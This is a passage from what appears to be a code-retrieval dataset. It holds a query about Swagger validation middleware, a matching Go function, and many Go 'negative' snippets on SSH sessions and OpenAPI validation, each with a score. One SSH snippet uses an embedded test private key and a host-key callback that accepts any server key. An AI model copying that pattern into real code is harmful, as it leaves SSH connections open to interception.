PRIVATE KEY-----`))\\n\\tif err != nil {\\n\\t\\tglog.Infoln(\\\"Unable to parse test key :\\\", err)\\n\\t}\\n\\ttestSingers, _ := ssh.NewSignerFromKey(testPrivateKeys)\\n\\n\\tauth = append(auth, ssh.PublicKeys(testSingers))\\n\\tclientConfig = &ssh.ClientConfig{\\n\\t\\tUser: user,\\n\\t\\tAuth: auth,\\n\\t\\t//\\t\\tTimeout: \\t\\t\\t60 * time.Second,\\n\\t\\tHostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {\\n\\t\\t\\treturn nil\\n\\t\\t},\\n\\t}\\n\\taddr = fmt.Sprintf(\\\"%s:%d\\\", host, port)\\n\\tif client, err = ssh.Dial(\\\"tcp\\\", addr, clientConfig); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tif session, err = client.NewSession(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn session, nil\\n}\",\n \"func NewStreamClient(ctx context.Context, prot api.Protocol, connection types.ClientConnection, host types.Host) Client {\\n\\tclient := &client{\\n\\t\\tProtocol: prot,\\n\\t\\tConnection: connection,\\n\\t\\tHost: host,\\n\\t}\\n\\n\\tif factory, ok := streamFactories[prot]; ok {\\n\\t\\tclient.ClientStreamConnection = factory.CreateClientStream(ctx, connection, client, client)\\n\\t} else {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tconnection.AddConnectionEventListener(client)\\n\\tconnection.FilterManager().AddReadFilter(client)\\n\\tconnection.SetNoDelay(true)\\n\\n\\treturn client\\n}\",\n \"func newSSH(ip net.IPAddr, port uint16, user string, pass string, key string) *inet.SSH {\\n\\tvar remoteConn = new(inet.SSH)\\n\\tremoteConn.Make(ip.String(), strconv.FormatUint(uint64(port), 10), user, pass, key)\\n\\tglog.Info(\\\"receiver host: \\\" + ip.String())\\n\\treturn remoteConn\\n}\",\n \"func executeCmd(remote_host string) string {\\n\\treadConfig(\\\"config\\\")\\n\\t//\\tconfig, err := sshAuthKey(Conf.SshUser, Conf.SshKeyPath, Conf.Passphrase)\\n\\t//\\tif err != nil {\\n\\t//\\t\\tlog.Fatal(err)\\n\\t//\\t}\\n\\tvar config *ssh.ClientConfig\\n\\n\\tif Conf.Method == \\\"password\\\" {\\n\\t\\tconfig = sshAuthPassword(Conf.SshUser, Conf.SshPassword)\\n\\t} else if Conf.Method == \\\"key\\\" {\\n\\t\\tconfig = sshAuthKey(Conf.SshUser, Conf.SshKeyPath, Conf.Passphrase)\\n\\t\\t//\\t\\tif err != nil {\\n\\t\\t//\\t\\t\\tlog.Fatal(err)\\n\\t\\t//\\t\\t}\\n\\t} else {\\n\\t\\tlog.Fatal(`Please set method \\\"password\\\" or \\\"key\\\" at configuration file`)\\n\\t}\\n\\n\\tclient, err := ssh.Dial(\\\"tcp\\\", remote_host+\\\":\\\"+Conf.SshPort, config)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(\\\"Failed to dial: \\\", err)\\n\\t}\\n\\n\\tsession, err := client.NewSession()\\n\\tif err != nil {\\n\\t\\tlog.Fatal(\\\"Failed to create session: \\\", err)\\n\\t}\\n\\tdefer session.Close()\\n\\n\\tvar b bytes.Buffer\\n\\tsession.Stdout = &b\\n\\tif err := session.Run(Conf.Command); err != nil {\\n\\t\\tlog.Fatal(\\\"Failed to run: \\\" + err.Error())\\n\\t}\\n\\tfmt.Println(\\\"\\\\x1b[31;1m\\\" + remote_host + \\\"\\\\x1b[0m\\\")\\n\\treturn b.String()\\n}\",\n \"func (curi *ConnectionURI) dialSSH() (net.Conn, error) {\\n\\tq := curi.Query()\\n\\n\\tknownHostsPath := q.Get(\\\"knownhosts\\\")\\n\\tif knownHostsPath == \\\"\\\" {\\n\\t\\tknownHostsPath = defaultSSHKnownHostsPath\\n\\t}\\n\\thostKeyCallback, err := knownhosts.New(os.ExpandEnv(knownHostsPath))\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to read ssh known hosts: %w\\\", err)\\n\\t}\\n\\n\\tsshKeyPath := q.Get(\\\"keyfile\\\")\\n\\tif sshKeyPath == \\\"\\\" {\\n\\t\\tsshKeyPath = defaultSSHKeyPath\\n\\t}\\n\\tsshKey, err := ioutil.ReadFile(os.ExpandEnv(sshKeyPath))\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to read ssh key: %w\\\", err)\\n\\t}\\n\\n\\tsigner, err := ssh.ParsePrivateKey(sshKey)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to parse ssh key: %w\\\", err)\\n\\t}\\n\\n\\tusername := curi.User.Username()\\n\\tif username == \\\"\\\" {\\n\\t\\tu, err := user.Current()\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tusername = u.Name\\n\\t}\\n\\n\\tcfg := ssh.ClientConfig{\\n\\t\\tUser: username,\\n\\t\\tHostKeyCallback: hostKeyCallback,\\n\\t\\tAuth: []ssh.AuthMethod{ssh.PublicKeys(signer)},\\n\\t\\tTimeout: 2 * time.Second,\\n\\t}\\n\\n\\tport := curi.Port()\\n\\tif port == \\\"\\\" {\\n\\t\\tport = defaultSSHPort\\n\\t}\\n\\n\\tsshClient, err := ssh.Dial(\\\"tcp\\\", fmt.Sprintf(\\\"%s:%s\\\", curi.Hostname(), port), &cfg)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\taddress := q.Get(\\\"socket\\\")\\n\\tif address == \\\"\\\" {\\n\\t\\taddress = defaultUnixSock\\n\\t}\\n\\n\\tc, err := sshClient.Dial(\\\"unix\\\", address)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to connect to libvirt on the remote host: %w\\\", err)\\n\\t}\\n\\n\\treturn c, nil\\n}\",\n \"func (sshClient *SSHClient) Execute(cmdList []string) []string {\\n\\n\\tsession, err := sshClient.connect()\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\n\\tdefer session.Close()\\n\\n\\tlog.Println(\\\"Connected.\\\")\\n\\n\\tmodes := ssh.TerminalModes{\\n\\t\\tssh.ECHO: 0, // 0:disable echo\\n\\t\\tssh.TTY_OP_ISPEED: 14400 * 1024, // input speed = 14.4kbaud\\n\\t\\tssh.TTY_OP_OSPEED: 14400 * 1024, //output speed = 14.4kbaud\\n\\t}\\n\\tif err1 := session.RequestPty(\\\"linux\\\", 64, 200, modes); err1 != nil {\\n\\t\\tlog.Fatalf(\\\"request pty error: %s\\\\n\\\", err1.Error())\\n\\t}\\n\\n\\tlog.Println(\\\"PtyRequested.\\\")\\n\\n\\tw, err := session.StdinPipe()\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\tr, err := session.StdoutPipe()\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\te, err := session.StderrPipe()\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\n\\tin, out := sshClient.MuxShell(w, r, e)\\n\\tif err := session.Shell(); err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\n\\t//<-out\\n\\tsWelcome := <-out\\n\\tlog.Printf(\\\"Welcome:%s\\\\n\\\", sWelcome) //ignore the shell output\\n\\n\\tvar ret []string\\n\\n\\tfor _, cmd := range cmdList {\\n\\t\\tlog.Printf(\\\"Exec %v\\\\n\\\", cmd)\\n\\n\\t\\tin <- cmd\\n\\n\\t\\tsOut := <-out\\n\\t\\tlog.Printf(\\\"Result-%s\\\\n\\\", sOut)\\n\\t\\tret = append(ret, sOut)\\n\\t}\\n\\n\\tin <- sshClient.ExitCmd\\n\\t_ = <-out\\n\\tsession.Wait()\\n\\n\\treturn ret\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6537969","0.6124428","0.60626256","0.6001691","0.5935122","0.57958657","0.5716622","0.5658344","0.56566685","0.5653561","0.56404054","0.55300796","0.55196583","0.54872686","0.5484186","0.54152626","0.541375","0.5369938","0.5349328","0.53370166","0.5323142","0.5310528","0.5300999","0.5299345","0.52456486","0.52422494","0.52109724","0.5199985","0.51867807","0.5179392","0.5179188","0.51554793","0.5152379","0.5104753","0.51006657","0.5061397","0.5059325","0.50534254","0.505231","0.50495","0.5037593","0.5011034","0.5006127","0.49991694","0.4990094","0.49801058","0.49759987","0.4975606","0.49545696","0.49517384","0.4945818","0.49423215","0.49387124","0.49387088","0.4933754","0.49331132","0.49272296","0.4925309","0.492308","0.49198845","0.49185076","0.49138725","0.49113533","0.49071306","0.48834664","0.48787698","0.48777393","0.4869064","0.4860698","0.48523167","0.48497567","0.48440337","0.48383123","0.48382095","0.48376828","0.4833674","0.48238334","0.48230603","0.48181534","0.48101497","0.48089898","0.47925243","0.47748026","0.47732544","0.47708565","0.47672653","0.47670397","0.47653106","0.47646767","0.47579828","0.47454816","0.47452766","0.47429228","0.47365394","0.47365394","0.47314897","0.4724581","0.47227803","0.47162917","0.4715579"],"string":"[\n \"0.6537969\",\n \"0.6124428\",\n \"0.60626256\",\n \"0.6001691\",\n \"0.5935122\",\n \"0.57958657\",\n \"0.5716622\",\n \"0.5658344\",\n \"0.56566685\",\n \"0.5653561\",\n \"0.56404054\",\n \"0.55300796\",\n \"0.55196583\",\n \"0.54872686\",\n \"0.5484186\",\n \"0.54152626\",\n \"0.541375\",\n \"0.5369938\",\n \"0.5349328\",\n \"0.53370166\",\n \"0.5323142\",\n \"0.5310528\",\n \"0.5300999\",\n \"0.5299345\",\n \"0.52456486\",\n \"0.52422494\",\n \"0.52109724\",\n \"0.5199985\",\n \"0.51867807\",\n \"0.5179392\",\n \"0.5179188\",\n \"0.51554793\",\n \"0.5152379\",\n \"0.5104753\",\n \"0.51006657\",\n \"0.5061397\",\n \"0.5059325\",\n \"0.50534254\",\n \"0.505231\",\n \"0.50495\",\n \"0.5037593\",\n \"0.5011034\",\n \"0.5006127\",\n \"0.49991694\",\n \"0.4990094\",\n \"0.49801058\",\n \"0.49759987\",\n \"0.4975606\",\n \"0.49545696\",\n \"0.49517384\",\n \"0.4945818\",\n \"0.49423215\",\n \"0.49387124\",\n \"0.49387088\",\n \"0.4933754\",\n \"0.49331132\",\n \"0.49272296\",\n \"0.4925309\",\n \"0.492308\",\n \"0.49198845\",\n \"0.49185076\",\n \"0.49138725\",\n \"0.49113533\",\n \"0.49071306\",\n \"0.48834664\",\n \"0.48787698\",\n \"0.48777393\",\n \"0.4869064\",\n \"0.4860698\",\n \"0.48523167\",\n \"0.48497567\",\n \"0.48440337\",\n \"0.48383123\",\n \"0.48382095\",\n \"0.48376828\",\n \"0.4833674\",\n \"0.48238334\",\n \"0.48230603\",\n \"0.48181534\",\n \"0.48101497\",\n \"0.48089898\",\n \"0.47925243\",\n \"0.47748026\",\n \"0.47732544\",\n \"0.47708565\",\n \"0.47672653\",\n \"0.47670397\",\n \"0.47653106\",\n \"0.47646767\",\n \"0.47579828\",\n \"0.47454816\",\n \"0.47452766\",\n \"0.47429228\",\n \"0.47365394\",\n \"0.47365394\",\n \"0.47314897\",\n \"0.4724581\",\n \"0.47227803\",\n \"0.47162917\",\n \"0.4715579\"\n]"},"document_score":{"kind":"string","value":"0.8375781"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106151,"cells":{"query":{"kind":"string","value":"ValidationMiddleware setup swagger document validation. Validation to check all requests against the OpenAPI schema. If paths don't exist in validation returns: \"no matching operation was found\""},"document":{"kind":"string","value":"func ValidationMiddleware() echo.MiddlewareFunc {\n\t// swagger spec is embedded in the generated code.\n\tswagger, err := GetSwagger()\n\tif err != nil {\n\t\tlog.Fatalf(\"Error loading swagger spec\\n: %s\", err)\n\t}\n\n\t/**\n\tClear out the servers array in the swagger spec, that skips validating\n\tthat server names match. We don't know how this thing will be run.\n\t**/\n\tswagger.Servers = nil\n\n\treturn middleware.OapiRequestValidator(swagger)\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (swagger *MgwSwagger) Validate() error {\n\tif (swagger.EndpointImplementationType != constants.MockedOASEndpointType) &&\n\t\t(swagger.EndpointType != constants.AwsLambda) {\n\t\tif (swagger.productionEndpoints == nil || len(swagger.productionEndpoints.Endpoints) == 0) &&\n\t\t\t(swagger.sandboxEndpoints == nil || len(swagger.sandboxEndpoints.Endpoints) == 0) {\n\n\t\t\tlogger.LoggerOasparser.Errorf(\"No Endpoints are provided for the API %s:%s\",\n\t\t\t\tswagger.title, swagger.version)\n\t\t\treturn errors.New(\"no endpoints are provided for the API\")\n\t\t}\n\t\terr := swagger.productionEndpoints.validateEndpointCluster(\"API level production\")\n\t\tif err != nil {\n\t\t\tlogger.LoggerOasparser.Errorf(\"Error while parsing the production endpoints of the API %s:%s - %v\",\n\t\t\t\tswagger.title, swagger.version, err)\n\t\t\treturn err\n\t\t}\n\t\terr = swagger.sandboxEndpoints.validateEndpointCluster(\"API level sandbox\")\n\t\tif err != nil {\n\t\t\tlogger.LoggerOasparser.Errorf(\"Error while parsing the sandbox endpoints of the API %s:%s - %v\",\n\t\t\t\tswagger.title, swagger.version, err)\n\t\t\treturn err\n\t\t}\n\n\t\tfor _, res := range swagger.resources {\n\t\t\terr := res.productionEndpoints.validateEndpointCluster(\"Resource level production\")\n\t\t\tif err != nil {\n\t\t\t\tlogger.LoggerOasparser.Errorf(\"Error while parsing the production endpoints of the API %s:%s - %v\",\n\t\t\t\t\tswagger.title, swagger.version, err)\n\t\t\t\treturn err\n\t\t\t}\n\t\t\terr = res.sandboxEndpoints.validateEndpointCluster(\"Resource level sandbox\")\n\t\t\tif err != nil {\n\t\t\t\tlogger.LoggerOasparser.Errorf(\"Error while parsing the sandbox endpoints of the API %s:%s - %v\",\n\t\t\t\t\tswagger.title, swagger.version, err)\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\terr := swagger.validateBasePath()\n\tif err != nil {\n\t\tlogger.LoggerOasparser.Errorf(\"Error while parsing the API %s:%s - %v\", swagger.title, swagger.version, err)\n\t\treturn err\n\t}\n\treturn nil\n}","func OapiRequestValidator(swagger *openapi3.T) fiber.Handler {\n\treturn OapiRequestValidatorWithOptions(swagger, nil)\n}","func TestValidation(t *testing.T) {\n\ttests := []struct {\n\t\tname string\n\t\tinput string\n\t\texpectedError error\n\t}{\n\t\t{\n\t\t\t\"when no OpenAPI property is supplied\",\n\t\t\t`\ninfo:\n title: \"Hello World REST APIs\"\n version: \"1.0\"\npaths:\n \"/api/v2/greetings.json\":\n get:\n operationId: listGreetings\n responses:\n 200:\n description: \"List different greetings\"\n \"/api/v2/greetings/{id}.json\":\n parameters:\n - name: id\n in: path\n required: true\n schema:\n type: string\n example: \"greeting\"\n get:\n operationId: showGreeting\n responses:\n 200:\n description: \"Get a single greeting object\"\n`,\n\t\t\terrors.New(\"value of openapi must be a non-empty JSON string\"),\n\t\t},\n\t\t{\n\t\t\t\"when an empty OpenAPI property is supplied\",\n\t\t\t`\nopenapi: ''\ninfo:\n title: \"Hello World REST APIs\"\n version: \"1.0\"\npaths:\n \"/api/v2/greetings.json\":\n get:\n operationId: listGreetings\n responses:\n 200:\n description: \"List different greetings\"\n \"/api/v2/greetings/{id}.json\":\n parameters:\n - name: id\n in: path\n required: true\n schema:\n type: string\n example: \"greeting\"\n get:\n operationId: showGreeting\n responses:\n 200:\n description: \"Get a single greeting object\"\n`,\n\t\t\terrors.New(\"value of openapi must be a non-empty JSON string\"),\n\t\t},\n\t\t{\n\t\t\t\"when the Info property is not supplied\",\n\t\t\t`\nopenapi: '1.0'\npaths:\n \"/api/v2/greetings.json\":\n get:\n operationId: listGreetings\n responses:\n 200:\n description: \"List different greetings\"\n \"/api/v2/greetings/{id}.json\":\n parameters:\n - name: id\n in: path\n required: true\n schema:\n type: string\n example: \"greeting\"\n get:\n operationId: showGreeting\n responses:\n 200:\n description: \"Get a single greeting object\"\n`,\n\t\t\terrors.New(\"invalid info: must be a JSON object\"),\n\t\t},\n\t\t{\n\t\t\t\"when the Paths property is not supplied\",\n\t\t\t`\nopenapi: '1.0'\ninfo:\n title: \"Hello World REST APIs\"\n version: \"1.0\"\n`,\n\t\t\terrors.New(\"invalid paths: must be a JSON object\"),\n\t\t},\n\t\t{\n\t\t\t\"when a valid spec is supplied\",\n\t\t\t`\nopenapi: 3.0.2\ninfo:\n title: \"Hello World REST APIs\"\n version: \"1.0\"\npaths:\n \"/api/v2/greetings.json\":\n get:\n operationId: listGreetings\n responses:\n 200:\n description: \"List different greetings\"\n \"/api/v2/greetings/{id}.json\":\n parameters:\n - name: id\n in: path\n required: true\n schema:\n type: string\n example: \"greeting\"\n get:\n operationId: showGreeting\n responses:\n 200:\n description: \"Get a single greeting object\"\ncomponents:\n schemas:\n GreetingObject:\n properties:\n id:\n type: string\n type:\n type: string\n default: \"greeting\"\n attributes:\n properties:\n description:\n type: string\n`,\n\t\t\tnil,\n\t\t},\n\t}\n\n\tfor _, test := range tests {\n\t\tt.Run(test.name, func(t *testing.T) {\n\t\t\tdoc := &openapi3.Swagger{}\n\t\t\terr := yaml.Unmarshal([]byte(test.input), &doc)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tc := context.Background()\n\t\t\tvalidationErr := doc.Validate(c)\n\n\t\t\trequire.Equal(t, test.expectedError, validationErr, \"expected errors (or lack of) to match\")\n\t\t})\n\t}\n}","func OapiRequestValidatorWithOptions(swagger *openapi3.T, options *Options) fiber.Handler {\n\n\trouter, err := gorillamux.NewRouter(swagger)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn func(c *fiber.Ctx) error {\n\n\t\terr := ValidateRequestFromContext(c, router, options)\n\t\tif err != nil {\n\t\t\tif options != nil && options.ErrorHandler != nil {\n\t\t\t\toptions.ErrorHandler(c, err.Error(), http.StatusBadRequest)\n\t\t\t\t// in case the handler didn't internally call Abort, stop the chain\n\t\t\t\treturn nil\n\t\t\t} else {\n\t\t\t\t// note: I am not sure if this is the best way to handle this\n\t\t\t\treturn fiber.NewError(http.StatusBadRequest, err.Error())\n\t\t\t}\n\t\t}\n\t\treturn c.Next()\n\t}\n}","func TestOpenAPIValidator_ValidateRequest(t *testing.T) {\n\thelper := test.New(t)\n\n\torigin := httptest.NewServer(http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {\n\t\tct := req.Header.Get(\"Content-Type\")\n\t\tif ct != \"\" {\n\t\t\tn, err := io.Copy(io.Discard, req.Body)\n\t\t\thelper.Must(err)\n\t\t\tif n == 0 {\n\t\t\t\tt.Error(\"Expected body content\")\n\t\t\t}\n\t\t}\n\t\tif req.Header.Get(\"Content-Type\") == \"application/json\" {\n\t\t\trw.Header().Set(\"Content-Type\", \"application/json\")\n\t\t\t_, err := rw.Write([]byte(`{\"id\": 123, \"name\": \"hans\"}`))\n\t\t\thelper.Must(err)\n\t\t}\n\t}))\n\n\tlog, hook := test.NewLogger()\n\tlogger := log.WithContext(context.Background())\n\tbeConf := &config.Backend{\n\t\tRemain: body.New(&hcl.BodyContent{Attributes: hcl.Attributes{\n\t\t\t\"origin\": &hcl.Attribute{\n\t\t\t\tName: \"origin\",\n\t\t\t\tExpr: hcltest.MockExprLiteral(cty.StringVal(origin.URL)),\n\t\t\t},\n\t\t}}),\n\t\tOpenAPI: &config.OpenAPI{\n\t\t\tFile: filepath.Join(\"testdata/backend_01_openapi.yaml\"),\n\t\t},\n\t}\n\topenAPI, err := validation.NewOpenAPIOptions(beConf.OpenAPI)\n\thelper.Must(err)\n\n\tbackend := transport.NewBackend(beConf.Remain, &transport.Config{}, &transport.BackendOptions{\n\t\tOpenAPI: openAPI,\n\t}, logger)\n\n\ttests := []struct {\n\t\tname, path string\n\t\tbody io.Reader\n\t\twantBody bool\n\t\twantErrLog string\n\t}{\n\t\t{\"GET without required query\", \"/a?b\", nil, false, \"backend validation error: Parameter 'b' in query has an error: must have a value: must have a value\"},\n\t\t{\"GET with required query\", \"/a?b=value\", nil, false, \"\"},\n\t\t{\"GET with required path\", \"/a/value\", nil, false, \"\"},\n\t\t{\"GET with required path missing\", \"/a//\", nil, false, \"backend validation error: Parameter 'b' in query has an error: must have a value: must have a value\"},\n\t\t{\"GET with optional query\", \"/b\", nil, false, \"\"},\n\t\t{\"GET with optional path param\", \"/b/a\", nil, false, \"\"},\n\t\t{\"GET with required json body\", \"/json\", strings.NewReader(`[\"hans\", \"wurst\"]`), true, \"\"},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(subT *testing.T) {\n\t\t\treq := httptest.NewRequest(http.MethodGet, tt.path, tt.body)\n\n\t\t\tif tt.body != nil {\n\t\t\t\treq.Header.Set(\"Content-Type\", \"application/json\")\n\t\t\t}\n\n\t\t\thook.Reset()\n\t\t\tvar res *http.Response\n\t\t\tres, err = backend.RoundTrip(req)\n\t\t\tif err != nil && tt.wantErrLog == \"\" {\n\t\t\t\tsubT.Fatal(err)\n\t\t\t}\n\n\t\t\tif tt.wantErrLog != \"\" {\n\t\t\t\tentry := hook.LastEntry()\n\t\t\t\tif entry.Message != tt.wantErrLog {\n\t\t\t\t\tsubT.Errorf(\"Expected error log:\\nwant:\\t%q\\ngot:\\t%s\", tt.wantErrLog, entry.Message)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif tt.wantBody {\n\t\t\t\tvar n int64\n\t\t\t\tn, err = io.Copy(io.Discard, res.Body)\n\t\t\t\tif err != nil {\n\t\t\t\t\tsubT.Error(err)\n\t\t\t\t}\n\t\t\t\tif n == 0 {\n\t\t\t\t\tsubT.Error(\"Expected a response body\")\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif subT.Failed() {\n\t\t\t\tfor _, entry := range hook.AllEntries() {\n\t\t\t\t\tsubT.Log(entry.String())\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}","func NewValidationMiddleware(validatorHook string) buffalo.MiddlewareFunc {\n\tconst op errors.Op = \"actions.NewValidationMiddleware\"\n\n\treturn func(next buffalo.Handler) buffalo.Handler {\n\t\treturn func(c buffalo.Context) error {\n\t\t\tmod, err := paths.GetModule(c)\n\n\t\t\tif err != nil {\n\t\t\t\t// if there is no module the path we are hitting is not one related to modules, like /\n\t\t\t\treturn next(c)\n\t\t\t}\n\n\t\t\t// not checking the error. Not all requests include a version\n\t\t\t// i.e. list requests path is like /{module:.+}/@v/list with no version parameter\n\t\t\tversion, _ := paths.GetVersion(c)\n\n\t\t\tif version != \"\" {\n\t\t\t\tvalid, err := validate(validatorHook, mod, version)\n\t\t\t\tif err != nil {\n\t\t\t\t\tentry := log.EntryFromContext(c)\n\t\t\t\t\tentry.SystemErr(err)\n\t\t\t\t\treturn c.Render(http.StatusInternalServerError, nil)\n\t\t\t\t}\n\n\t\t\t\tif !valid {\n\t\t\t\t\treturn c.Render(http.StatusForbidden, nil)\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn next(c)\n\t\t}\n\t}\n}","func SchemaValidate(ctx context.Context, s fwschema.Schema, req ValidateSchemaRequest, resp *ValidateSchemaResponse) {\n\tfor name, attribute := range s.GetAttributes() {\n\n\t\tattributeReq := ValidateAttributeRequest{\n\t\t\tAttributePath: path.Root(name),\n\t\t\tAttributePathExpression: path.MatchRoot(name),\n\t\t\tConfig: req.Config,\n\t\t}\n\t\t// Instantiate a new response for each request to prevent validators\n\t\t// from modifying or removing diagnostics.\n\t\tattributeResp := &ValidateAttributeResponse{}\n\n\t\tAttributeValidate(ctx, attribute, attributeReq, attributeResp)\n\n\t\tresp.Diagnostics.Append(attributeResp.Diagnostics...)\n\t}\n\n\tfor name, block := range s.GetBlocks() {\n\t\tattributeReq := ValidateAttributeRequest{\n\t\t\tAttributePath: path.Root(name),\n\t\t\tAttributePathExpression: path.MatchRoot(name),\n\t\t\tConfig: req.Config,\n\t\t}\n\t\t// Instantiate a new response for each request to prevent validators\n\t\t// from modifying or removing diagnostics.\n\t\tattributeResp := &ValidateAttributeResponse{}\n\n\t\tBlockValidate(ctx, block, attributeReq, attributeResp)\n\n\t\tresp.Diagnostics.Append(attributeResp.Diagnostics...)\n\t}\n\n\tif s.GetDeprecationMessage() != \"\" {\n\t\tresp.Diagnostics.AddWarning(\n\t\t\t\"Deprecated\",\n\t\t\ts.GetDeprecationMessage(),\n\t\t)\n\t}\n}","func (m middleware) Validate(_ gqlgen.ExecutableSchema) error {\n\treturn nil\n}","func ValidateMiddleware(next http.Handler) http.Handler {\n\tfn := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tvar token *jwt.Token\n\t\ttoken, err := request.ParseFromRequestWithClaims(r, request.OAuth2Extractor, &authentication.Claim{}, func(token *jwt.Token) (interface{}, error) {\n\t\t\treturn authentication.PublicKey, nil\n\t\t})\n\n\t\tif err != nil {\n\t\t\tresponse.HTTPError(w, r, http.StatusUnauthorized, err.Error())\n\t\t\treturn\n\t\t}\n\n\t\tif !token.Valid {\n\t\t\tresponse.HTTPError(w, r, http.StatusUnauthorized, \"Invalid Token\")\n\t\t\treturn\n\t\t}\n\t\tid := token.Claims.(*authentication.Claim).ID\n\t\tctx := context.WithValue(r.Context(), primitive.ObjectID{}, id)\n\t\tnext.ServeHTTP(w, r.WithContext(ctx))\n\n\t})\n\treturn fn\n\n}","func (r HTTP) validate() error {\n\tif r.IsEmpty() {\n\t\treturn nil\n\t}\n\t// we consider the fact that primary routing rule is mandatory before you write any additional routing rules.\n\tif err := r.Main.validate(); err != nil {\n\t\treturn err\n\t}\n\tif r.Main.TargetContainer != nil && r.TargetContainerCamelCase != nil {\n\t\treturn &errFieldMutualExclusive{\n\t\t\tfirstField: \"target_container\",\n\t\t\tsecondField: \"targetContainer\",\n\t\t}\n\t}\n\n\tfor idx, rule := range r.AdditionalRoutingRules {\n\t\tif err := rule.validate(); err != nil {\n\t\t\treturn fmt.Errorf(`validate \"additional_rules[%d]\": %w`, idx, err)\n\t\t}\n\t}\n\treturn nil\n}","func Validator() endpoint.Middleware {\n\treturn func(f endpoint.Endpoint) endpoint.Endpoint {\n\t\treturn func(ctx context.Context, request interface{}) (response interface{}, err error) {\n\t\t\terr = validator.DefaultValidator()(request)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, &fazzkithttp.TransportError{\n\t\t\t\t\tErr: err,\n\t\t\t\t\tCode: http.StatusUnprocessableEntity,\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn f(ctx, request)\n\t\t}\n\t}\n}","func (a API) Validate() error {\n\tvar err error\n\n\tif a.port < 1 || a.port > 65535 {\n\t\terr = multierr.Append(err,\n\t\t\terrors.New(\"port must be more than 1 and less than 65535\"),\n\t\t)\n\t}\n\n\tif !strings.HasPrefix(a.rootPath, \"/\") {\n\t\terr = multierr.Append(err,\n\t\t\terrors.New(\"root path must start with /\"),\n\t\t)\n\t}\n\n\tif !strings.HasSuffix(a.rootPath, \"/\") {\n\t\terr = multierr.Append(err,\n\t\t\terrors.New(\"root path must end with /\"),\n\t\t)\n\t}\n\n\tif len(strings.TrimSpace(a.traceHeader)) == 0 {\n\t\terr = multierr.Append(err,\n\t\t\terrors.New(\"trace header must not be empty\"),\n\t\t)\n\t}\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\troutesMap := make(map[string]MultipartFormDataRoute, len(a.multipartFormDataRoutes))\n\n\tfor _, route := range a.multipartFormDataRoutes {\n\t\tif route.Path == \"\" {\n\t\t\treturn errors.New(\"route with empty path cannot be registered\")\n\t\t}\n\n\t\tif !strings.HasPrefix(route.Path, \"/\") {\n\t\t\treturn fmt.Errorf(\"route %s does not start with /\", route.Path)\n\t\t}\n\n\t\tif route.Handler == nil {\n\t\t\treturn fmt.Errorf(\"route %s has a nil handler\", route.Path)\n\t\t}\n\n\t\tif _, ok := routesMap[route.Path]; ok {\n\t\t\treturn fmt.Errorf(\"route %s is already registered\", route.Path)\n\t\t}\n\n\t\troutesMap[route.Path] = route\n\t}\n\n\tfor _, middleware := range a.externalMiddlewares {\n\t\tif middleware.Handler == nil {\n\t\t\treturn errors.New(\"a middleware has a nil handler\")\n\t\t}\n\t}\n\n\treturn nil\n}","func (c *SeaterController) Validate(sche string, document ...string) {\n\tvar doc string\n\tif len(document) > 0 {\n\t\tdoc = document[0]\n\t} else {\n\t\tdoc = string(c.Ctx.Input.RequestBody)\n\t\tif len(doc) == 0 {\n\t\t\tc.BadRequestf(\"request body is empty\")\n\t\t}\n\t}\n\t_, err := simplejson.NewJson([]byte(doc))\n\tif err != nil {\n\t\tc.BadRequestf(\"invalid json format\")\n\t}\n\tresult, err := schema.Validate(sche, doc)\n\tif err != nil {\n\t\tc.TraceServerError(errors.Annotatef(err, \"invalid schema\"))\n\t}\n\tif !result.Valid() {\n\t\ts := \"invalid parameters:\\n\"\n\t\tvar e interface{}\n\t\tfor _, err := range result.Errors() {\n\t\t\ts += fmt.Sprintf(\"%s\\n\", err)\n\t\t\te = err\n\t\t}\n\t\tc.BadRequestf(\"%s\", e)\n\t}\n}","func verifySwagger(resp http.ResponseWriter, request *http.Request) {\n\tcors := handleCors(resp, request)\n\tif cors {\n\t\treturn\n\t}\n\n\tuser, err := handleApiAuthentication(resp, request)\n\tif err != nil {\n\t\tlog.Printf(\"Api authentication failed in verify swagger: %s\", err)\n\t\tresp.WriteHeader(401)\n\t\tresp.Write([]byte(`{\"success\": false}`))\n\t\treturn\n\t}\n\n\tbody, err := ioutil.ReadAll(request.Body)\n\tif err != nil {\n\t\tresp.WriteHeader(401)\n\t\tresp.Write([]byte(`{\"success\": false, \"reason\": \"Failed reading 